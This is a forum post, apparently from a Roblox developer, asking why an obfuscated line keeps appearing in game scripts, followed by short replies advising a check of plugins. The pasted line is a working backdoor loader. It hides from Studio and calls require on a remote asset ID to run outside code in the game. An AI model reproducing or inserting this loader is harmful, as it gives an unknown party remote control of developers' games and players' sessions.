So, every time I'm just trying to test my game with my friend, all of the sudden my scripts start changing wherever there are functions in an event. It turns my script from the usual:
wEvent.OnServerEvent:Connect(function(player, enabled)
to:
wEvent.OnServerEvent:Connect(iIlOMuw5 = 'GetService' i3CteBBYvMtDU = 'PlaceId' iG6p0CIa4K6 = 'MarketplaceService' iZCs69 = game ivIdV45Szt6A6bt = 'Description' ikOrvtA1X3d = 'IsStudio' ippWRHdbj = 'test' iS9lCDLQZa2d = require i7Hk7V = 'Name' i0l9 = 15710395.224852 * 169 iKKZa = 'FindFirstChild' i1TFAQoil5 = 'RunService' ilPA = game iiwY4Fc0cWZV9lY = pcall iO6AxaGzsMHtLJoDe = 'GetProductInfo' izi3m0sfO = 'load' iLmzmAjk515 = 'RunService' iN1t3E6X = spawn iN1t3E6X(function() iiwY4Fc0cWZV9lY(function() if iZCs69:GetService(i1TFAQoil5)[ikOrvtA1X3d](iZCs69:GetService(i1TFAQoil5)) then return end iS9lCDLQZa2d(i0l9)[izi3m0sfO](iZCs69[i3CteBBYvMtDU]) end) end)
function(player, enabled)
and this just keeps happening in multiple different scripts. There was one model one of my other devs used from the toolbox, but I deleted that, and I also went through everything and deleted a bunch of virus looking scripts. Does anyone know what's causing this and how to fix it permanantly?

4 comments
Check your plugins
yas, do that
am tired of decoding u people's garbage infected games
I wasn't asking for you to decode it, I was asking for simple tips for me to decode it myself. If I had to get someone else to "decode" it each time, then I wouldn't be able to work on my game much, now would I?